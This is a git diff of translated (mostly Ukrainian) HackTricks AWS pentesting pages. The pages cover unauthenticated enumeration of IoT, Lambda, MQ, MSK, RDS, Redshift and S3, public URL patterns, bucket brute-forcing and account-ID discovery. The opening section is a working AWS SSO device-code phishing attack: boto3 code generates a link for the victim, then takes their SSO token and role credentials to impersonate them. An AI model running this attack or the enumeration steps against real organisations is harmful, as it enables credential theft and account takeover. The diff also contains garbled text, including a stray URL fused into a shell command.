Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS Device Code Phishing + +Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. + +In order to perform this attack the requisites are: + +- The victim needs to use **Identity Center** +- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` + +Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. + +### Attack + +1. **Finding the subdomain** + +The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. + +With this info, it's possible to get the region where the Indentity Center was configured with: +```bash +curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' +"region":"us-east-1 +``` +2. **Згенеруйте посилання для жертви & Надішліть його** + +Запустіть наступний код, щоб згенерувати посилання для входу в AWS SSO, щоб жертва могла автентифікуватися.\ +Для демонстрації запустіть цей код у python-консолі і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена: +```python +import boto3 + +REGION = 'us-east-1' # CHANGE THIS +AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS + +sso_oidc = boto3.client('sso-oidc', region_name=REGION) +client = sso_oidc.register_client( +clientName = 'attacker', +clientType = 'public' +) + +client_id = client.get('clientId') +client_secret = client.get('clientSecret') +authz = sso_oidc.start_device_authorization( +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL +) + +url = authz.get('verificationUriComplete') +deviceCode = authz.get('deviceCode') +print("Give this URL to the victim: " + url) +``` +Надішліть згенероване посилання жертві, використовуючи свої відмінні навички соціальної інженерії! + +3. **Чекайте, поки жертва його прийме** + +Якщо жертва була **вже logged in AWS** їй потрібно лише підтвердити надання дозволів; якщо ні, їй доведеться **login**, а потім підтвердити надання дозволів.\ +Ось як зараз виглядає цей запит: + +
+ +4. **Отримати SSO access token** + +Якщо жертва прийняла запит, запустіть цей код, щоб **згенерувати SSO token, видаючи себе за користувача**: +```python +token_response = sso_oidc.create_token( +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode +) +sso_token = token_response.get('accessToken') +``` +SSO access token **дійсний протягом 8h**. + +5. **Видати себе за користувача** +```python +sso_client = boto3.client('sso', region_name=REGION) + +# List accounts where the user has access +aws_accounts_response = sso_client.list_accounts( +accessToken=sso_token, +maxResults=100 +) +aws_accounts_response.get('accountList', []) + +# Get roles inside an account +roles_response = sso_client.list_account_roles( +accessToken=sso_token, +accountId= +) +roles_response.get('roleList', []) + +# Get credentials over a role + +sts_creds = sso_client.get_role_credentials( +accessToken=sso_token, +roleName=, +accountId= +) +sts_creds.get('roleCredentials') +``` +### Phishing проти unphisable MFA + +Цікаво знати, що попередня атака **працює навіть якщо використовується "unphisable MFA" (webAuth)**. Це тому, що попередній **workflow ніколи не покидає використаний OAuth domain**. Не так, як в інших phishing атаках, де користувач повинен підмінити домен входу; у цьому випадку device code workflow підготовлений так, що **code відомий пристрою**, і користувач може увійти навіть з іншої машини. Якщо prompt буде прийнято, пристрій, просто **знаючи початковий code**, зможе **отримати credentials** для користувача. + +Для додаткової інформації [**перегляньте цю публікацію**](https://mjg59.dreamwidth.org/62175.html). + +### Автоматичні інструменти + +- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) +- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) + +## Посилання + +- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) +- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) +- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) +- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md similarity index 68% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md index 8a249bba6..ee969e232 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ # AWS - IoT Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Шаблон публічного URL ``` @@ -8,4 +8,4 @@ mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md index 511acbad0..39ab4ab89 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md @@ -1,9 +1,9 @@ # AWS - Kinesis Video Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Шаблон публічного URL ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md deleted file mode 100644 index ed7446d8d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - Lambda Unauthenticated Access - -{{#include ../../../banners/hacktricks-training.md}} - -## Публічний URL функції - -Можливо пов'язати **Lambda** з **публічним URL функції**, до якого може отримати доступ будь-хто. Він може містити веб-вразливості. - -### Шаблон публічного URL -``` -https://{random_id}.lambda-url.{region}.on.aws/ -``` -### Отримання ID облікового запису з публічного URL Lambda - -Так само, як і з S3 бакетами, Data Exchange та API шлюзами, можливо знайти ID облікового запису, зловживаючи **`aws:ResourceAccount`** **Policy Condition Key** з публічного URL lambda. Це робиться шляхом знаходження ID облікового запису по одному символу, зловживаючи підстановочними знаками в секції **`aws:ResourceAccount`** політики.\ -Ця техніка також дозволяє отримувати **значення тегів**, якщо ви знаєте ключ тегу (є кілька стандартних цікавих). - -Ви можете знайти більше інформації в [**оригінальному дослідженні**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цього експлуатації. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md new file mode 100644 index 000000000..0ea283c59 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md @@ -0,0 +1,20 @@ +# AWS - Lambda Несанкціонований доступ + +{{#include ../../../../banners/hacktricks-training.md}} + +## Публічний Function URL + +Можна пов'язати **Lambda** з **public function URL**, до якого може отримати доступ будь-хто. Він може містити вразливості веб-застосунків. + +### Шаблон Public URL +``` +https://{random_id}.lambda-url.{region}.on.aws/ +``` +### Отримати ідентифікатор облікового запису з публічного Lambda URL + +Так само, як і з S3 buckets, Data Exchange та API gateways, можна знайти ідентифікатор облікового запису, зловживаючи ключем умов політики **`aws:ResourceAccount`** з публічного Lambda URL. Це робиться шляхом по одному символу визначення ідентифікатора облікового запису, зловживаючи шаблонами (wildcards) в секції **`aws:ResourceAccount`** політики.\ +Ця техніка також дозволяє отримувати **значення тегів**, якщо ви знаєте ключ тега (є кілька цікавих стандартних). + +You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md similarity index 71% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md index 61212d2b8..2a291af30 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ # AWS - Media Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Шаблон публічного URL ``` @@ -8,4 +8,4 @@ https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md deleted file mode 100644 index 1dc2d4a84..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - MQ Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Публічний порт - -### **RabbitMQ** - -У випадку з **RabbitMQ** за **замовчуванням публічний доступ** та ssl увімкнені. Але вам потрібні **облікові дані** для доступу (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Більше того, можливо **доступитися до веб-консолі управління**, якщо ви знаєте облікові дані в `https://b-.mq.us-east-1.amazonaws.com/` - -### ActiveMQ - -У випадку з **ActiveMQ** за замовчуванням публічний доступ та ssl увімкнені, але вам потрібні облікові дані для доступу. - -### Шаблон публічного URL -``` -https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ -ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md new file mode 100644 index 000000000..5109a28f3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md @@ -0,0 +1,20 @@ +# AWS - MQ Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Публічний порт + +### **RabbitMQ** + +У випадку **RabbitMQ**, за **замовчуванням публічний доступ** та ssl увімкнені. Але для доступу потрібні **credentials** (`amqps://.mq.us-east-1.amazonaws.com:5671`). Крім того, можливо **доступитись до веб-консолі управління**, якщо ви знаєте credentials за адресою `https://b-.mq.us-east-1.amazonaws.com/` + +### ActiveMQ + +У випадку **ActiveMQ**, за замовчуванням публічний доступ та ssl увімкнені, але для доступу потрібні **credentials**. + +### Шаблон публічного URL +``` +https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ +ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md deleted file mode 100644 index 86c65fad8..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - MSK Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Публічний порт - -Можливо **вивести Kafka брокер на публіку**, але вам знадобляться **облікові дані**, IAM дозволи або дійсний сертифікат (залежно від налаштованого методу автентифікації). - -Також **можливо вимкнути автентифікацію**, але в цьому випадку **неможливо безпосередньо вивести** порт в Інтернет. - -### Шаблон публічного URL -``` -b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com -{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md new file mode 100644 index 000000000..319a4f3ce --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md @@ -0,0 +1,16 @@ +# AWS - MSK Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Публічний порт + +Можна **expose the Kafka broker to the public**, але вам знадобляться **credentials**, IAM permissions або дійсний certificate (залежно від налаштованого auth method). + +Також можливо **відключити authentication**, але в такому випадку **неможливо безпосередньо виставити** порт в Інтернет. + +### Шаблон публічного URL +``` +b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com +{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md index 22492d590..16951aa77 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md @@ -1,22 +1,22 @@ -# AWS - RDS Університетська Перевірка +# AWS - RDS Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації див.: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Публічний Порт +## Публічний порт -Можливо надати публічний доступ до **бази даних з інтернету**. Зловмисник все ще повинен **знати ім'я користувача та пароль,** доступ IAM або **експлойт**, щоб увійти в базу даних. +Можна надати публічний доступ до **бази даних з інтернету**. Атакувальнику все одно доведеться **знати ім'я користувача та пароль,** мати доступ IAM, або використати **exploit** щоб потрапити в базу даних. -## Публічні Знімки RDS +## Публічні RDS Snapshots -AWS дозволяє надавати **доступ будь-кому для завантаження знімків RDS**. Ви можете дуже легко перерахувати ці публічні знімки RDS зі свого облікового запису: +AWS дозволяє надати **доступ будь-кому для завантаження RDS snapshots**. Ви можете дуже легко перелічити ці публічні RDS snapshots зі свого облікового запису: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -32,9 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` -### Шаблон публічного URL +### Публічний шаблон URL ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md index a526f83d8..04f767cb0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md @@ -1,9 +1,9 @@ # AWS - Redshift Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Шаблон публічного URL ``` {user_provided}...redshift.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md deleted file mode 100644 index 75bc6060f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ /dev/null @@ -1,194 +0,0 @@ -# AWS - S3 Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 Публічні Бакети - -Бакет вважається **“публічним”**, якщо **будь-який користувач може переглядати вміст** бакета, і **“приватним”**, якщо вміст бакета може **переглядатися або записуватися лише певними користувачами**. - -Компанії можуть мати **неправильно налаштовані дозволи бакетів**, що надає доступ або до всього, або до всіх, хто автентифікований в AWS в будь-якому обліковому записі (тобто до будь-кого). Зверніть увагу, що навіть з такими неправильними налаштуваннями деякі дії можуть не бути виконані, оскільки бакети можуть мати свої власні списки контролю доступу (ACL). - -**Дізнайтеся про неправильні налаштування AWS-S3 тут:** [**http://flaws.cloud**](http://flaws.cloud/) **та** [**http://flaws2.cloud/**](http://flaws2.cloud) - -### Пошук AWS Бакетів - -Різні методи для визначення, коли веб-сторінка використовує AWS для зберігання деяких ресурсів: - -#### Перерахування та OSINT: - -- Використання плагіна браузера **wappalyzer** -- Використання burp (**спайдеринг** вебу) або ручного навігації по сторінці, всі **ресурси**, **завантажені** будуть збережені в Історії. -- **Перевірте ресурси** в доменах, таких як: - -``` -http://s3.amazonaws.com/[bucket_name]/ -http://[bucket_name].s3.amazonaws.com/ -``` - -- Перевірте **CNAMES**, оскільки `resources.domain.com` може мати CNAME `bucket.s3.amazonaws.com` -- **[s3dns](https://github.com/olizimmermann/s3dns)** – легкий DNS-сервер, який пасивно ідентифікує бакети хмарного зберігання (S3, GCP, Azure), аналізуючи DNS-трафік. Він виявляє CNAME, слідкує за ланцюгами розв'язання та співвідносить шаблони бакетів, пропонуючи тиху альтернативу брутфорсу або відкриттю через API. Ідеально підходить для розвідки та OSINT-робочих процесів. -- Перевірте [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), веб-сайт з уже **виявленими відкритими бакетами**. -- **Ім'я бакета** та **доменне ім'я бакета** повинні бути **однаковими.** -- **flaws.cloud** знаходиться за **IP** 52.92.181.107, і якщо ви туди перейдете, він перенаправить вас на [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Також, `dig -x 52.92.181.107` дає `s3-website-us-west-2.amazonaws.com`. -- Щоб перевірити, чи це бакет, ви також можете **відвідати** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). - -#### Брутфорс - -Ви можете знайти бакети, **брутфорсуючи імена**, пов'язані з компанією, яку ви тестуєте: - -- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) -- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (містить список потенційних імен бакетів) -- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) -- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) -- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) -- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) -- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) -- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) - -
# Генерація списку слів для створення перестановок
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Генерація списку слів на основі доменів та піддоменів для тестування
-## Запишіть ці домени та піддомени в subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Створення перестановок на основі списку з доменами та піддоменами для атаки
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## Попередній інструмент спеціалізується на створенні перестановок для піддоменів, давайте відфільтруємо цей список
-### Видалити рядки, що закінчуються на "."
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Створити список без TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Створити список без крапок
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Створити список без дефісів
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Генерація фінального списку слів
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Виклик s3scanner
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-
- -#### Здобуття S3 Бакетів - -Даючи відкриті S3 бакети, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) може автоматично **шукати цікаву інформацію**. - -### Знайти Регіон - -Ви можете знайти всі підтримувані регіони AWS на [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) - -#### За DNS - -Ви можете отримати регіон бакета за допомогою **`dig`** та **`nslookup`**, зробивши **DNS-запит на виявлену IP-адресу**: -```bash -dig flaws.cloud -;; ANSWER SECTION: -flaws.cloud. 5 IN A 52.218.192.11 - -nslookup 52.218.192.11 -Non-authoritative answer: -11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. -``` -Перевірте, чи має розв'язане доменне ім'я слово "website".\ -Ви можете отримати доступ до статичного веб-сайту, перейшовши за адресою: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -або ви можете отримати доступ до бакету, відвідавши: `flaws.cloud.s3-us-west-2.amazonaws.com` - - - -#### Спробуючи - -Якщо ви намагаєтеся отримати доступ до бакету, але в **доменному імені вказуєте інший регіон** (наприклад, бакет знаходиться в `bucket.s3.amazonaws.com`, але ви намагаєтеся отримати доступ до `bucket.s3-website-us-west-2.amazonaws.com`, тоді вам буде **вказано на правильне місце**: - -![](<../../../images/image (106).png>) - -### Перерахування бакету - -Щоб перевірити відкритість бакету, користувач може просто ввести URL у свій веб-браузер. Приватний бакет відповість "Доступ заборонено". Публічний бакет відобразить перші 1,000 об'єктів, які були збережені. - -Відкрито для всіх: - -![](<../../../images/image (201).png>) - -Приватний: - -![](<../../../images/image (83).png>) - -Ви також можете перевірити це за допомогою cli: -```bash -#Use --no-sign-request for check Everyones permissions -#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions -#--recursive if you want list recursivelyls -#Opcionally you can select the region if you now it -aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] -``` -Якщо у бакета немає доменного імені, при спробі його перерахувати, **вкажіть лише ім'я бакета** і не вводьте ціле доменне ім'я AWSs3. Приклад: `s3://` - -### Шаблон публічного URL -``` -https://{user_provided}.s3.amazonaws.com -``` -### Отримати ID облікового запису з публічного бакету - -Можливо визначити обліковий запис AWS, скориставшись новим **`S3:ResourceAccount`** **ключем умови політики**. Ця умова **обмежує доступ на основі S3 бакету**, в якому знаходиться обліковий запис (інші політики на основі облікового запису обмежують доступ на основі облікового запису, в якому знаходиться запитуючий суб'єкт).\ -І оскільки політика може містити **шаблони**, можливо знайти номер облікового запису **лише по одному числу за раз**. - -Цей інструмент автоматизує процес: -```bash -# Installation -pipx install s3-account-search -pip install s3-account-search -# With a bucket -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket -# With an object -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext -``` -Ця техніка також працює з URL-адресами API Gateway, URL-адресами Lambda, наборами даних Data Exchange і навіть для отримання значення тегів (якщо ви знаєте ключ тегу). Ви можете знайти більше інформації в [**оригінальному дослідженні**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цього експлуатації. - -### Підтвердження, що бакет належить обліковому запису AWS - -Як пояснено в [**цьому блозі**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, якщо у вас є дозволи на перегляд бакету** можливо підтвердити accountID, до якого належить бакет, надіславши запит, як: -```bash -curl -X GET "[bucketname].amazonaws.com/" \ --H "x-amz-expected-bucket-owner: [correct-account-id]" - - -... -``` -Якщо помилка - це "Доступ заборонено", це означає, що ідентифікатор облікового запису був неправильним. - -### Використані електронні адреси для перерахунку кореневих облікових записів - -Як пояснено в [**цьому блозі**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), можливо перевірити, чи пов'язана електронна адреса з будь-яким обліковим записом AWS, **спробувавши надати електронній адресі дозволи** на S3 бакет через ACL. Якщо це не викликає помилки, це означає, що електронна адреса є кореневим користувачем якогось облікового запису AWS: -```python -s3_client.put_bucket_acl( -Bucket=bucket_name, -AccessControlPolicy={ -'Grants': [ -{ -'Grantee': { -'EmailAddress': 'some@emailtotest.com', -'Type': 'AmazonCustomerByEmail', -}, -'Permission': 'READ' -}, -], -'Owner': { -'DisplayName': 'Whatever', -'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' -} -} -) -``` -## Посилання - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md new file mode 100644 index 000000000..1ab311d8c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -0,0 +1,194 @@ +# AWS - S3 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 Public Buckets + +A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. + +Компанії можуть мати **помилково налаштовані дозволи bucket-ів**, даючи доступ або до всього, або до всіх автентифікованих в AWS користувачів в будь-якому акаунті (тому — до будь-кого). Зверніть увагу, що навіть за таких помилок деякі дії можуть бути недоступні, оскільки bucket-и можуть мати власні списки контролю доступу (ACLs). + +**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) + +### Finding AWS Buckets + +Різні методи, щоб з'ясувати, коли веб-сторінка використовує 